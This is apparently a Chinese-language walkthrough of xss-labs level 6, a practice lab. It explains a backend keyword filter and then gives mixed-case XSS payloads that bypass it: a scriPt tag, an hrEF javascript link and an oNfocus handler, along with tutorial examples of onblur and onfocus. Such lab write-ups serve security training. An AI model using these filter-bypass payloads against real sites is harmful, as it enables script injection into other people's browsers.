姿势
逻辑后端代码:
使用 str_replace 函数将 <script 替换为 <scr_ipt,将 on 替换为 o_n,将 src 替换为 sr_c,将 data 替换为 da_ta,将 href 替换为 hr_ef
故使用大小写绕过
"> <scriPt>alert()</scRipt> <"
回显如下:
使用超链接大小写绕过
"> <a hrEF=javascript:alert("qiushuo")>秋说</a> <"
回显如下:
使用onfocus事件大小写绕过
onblur/onfocus事件
onblur 事件是在 HTML 元素失去焦点时触发的事件。当用户从一个元素切换到另一个元素或点击页面空白区域时,原本获得焦点的元素就会触发 onblur 事件。
可以将 onblur 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素失去焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
以下是一个示例,展示了如何使用 onblur 事件:
<input type="text" onblur="myFunction()"> <script> function myFunction() { alert("Input field lost focus!"); } </script>
在上述示例中,当文本输入框失去焦点时,myFunction()
函数将被调用,并弹出一个Input field lost focus!
的警告框。
除了直接在 HTML 元素上使用 onblur
属性,同样可以使用 JavaScript 来动态地绑定和处理 onblur 事件。例如:
<input id="myInput" type="text"> <script> document.getElementById("myInput").addEventListener("blur", function() { alert("Input field lost focus!"); }); </script>
上述代码通过使用 addEventListener
方法将 onblur 事件监听器添加到文本输入框上。当输入框失去焦点时,绑定的函数将被调用,同样会弹出一个提示框。
onfocus 事件是在 HTML 元素获得焦点时触发的事件。当用户点击或选择某个元素,使其成为当前活动元素时,就会触发 onfocus 事件。
可以将 onfocus 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素获得焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
以下是一个示例,展示了如何使用 onfocus 事件:
<input type="text" onfocus="myFunction()"> <script> function myFunction() { alert("Input field is focused!"); } </script>
在上述示例中,当文本输入框获得焦点时,myFunction() 函数将被调用,并弹出一个Input field is focused!的警告框。
除了直接在 HTML 元素上使用 onfocus 属性,还可以使用 JavaScript 来动态地绑定和处理 onfocus 事件。例如:
<input id="myInput" type="text"> <script> document.getElementById("myInput").addEventListener("focus", function() { alert("Input field is focused!"); }); </script>
上述代码通过使用 addEventListener
方法将 onfocus 事件监听器添加到文本输入框上。当输入框获得焦点时,绑定的函数将被调用,同样会弹出一个提示框。
POC如下:
" oNfocus=javascript:alert("秋说") "
总结
以上为[网络安全]xss-labs level-6 解题详析,后续将分享[网络安全]xss-labs level-7 解题详析。
我是秋说,我们下次见。